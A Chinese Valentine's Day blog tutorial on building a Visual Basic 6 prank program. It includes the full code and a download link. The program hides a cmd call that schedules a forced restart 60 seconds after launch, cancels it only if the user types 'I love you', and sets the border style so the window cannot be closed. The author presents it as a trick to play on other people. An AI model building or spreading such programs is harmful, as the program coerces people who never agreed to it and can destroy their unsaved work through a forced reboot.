情人节vb打造小程序（教程)

以前的做的教程 ~同样是为了更新博客
最近肚子里面真的没有什么墨水
上一天班下来 人都快焉了

呵呵 今天情人节哦
祝大家情人节快乐 ~~~

需要的工具 百度下载一个精简版vb就可以 ~

工具有点大 所以我就不打包了 ~~

好了 下载我们开始 吧 打开vb

由于是情人节 就让别人 说 喜欢你吧

呵呵 满足下虚荣心 看操作 给下caption属性
你们改自己喜欢的吧 属性的意思就是 标题栏显示的名称

接下来 画几个控件 你们看操作吧
控件 大概有这几个就可以了 接下来写代码

挺简单的 两三行
Private Sub Command1_Click() ‘按钮一的单击事件里面
If Text1.Text = “我爱你” Then ‘if的判断语句
Shell “cmd.exe /c shutdown /a”, vbHide 调用cmd运行shutdown /这条命令
Else
MsgBox “输入呀~ 不然就真的死机了”, , “阎王提示’”
End If

End Sub

Private Sub Form_Load()
Shell “cmd.exe /c shutdown /r /t 60″, vbHide ‘一启动程序就出现60关机的提示
End Sub
试试效果看 看到了吧 不输入就关机了 我输入 看看

消失了吧 我们改改form1的属性 也就边框样式

属性值设为0让别人不能关闭 看 教程下载地址：http://yfdisk.com/file/xiao6641167/742bd813/

教程就到这里吧 我的blog:http://laowang.me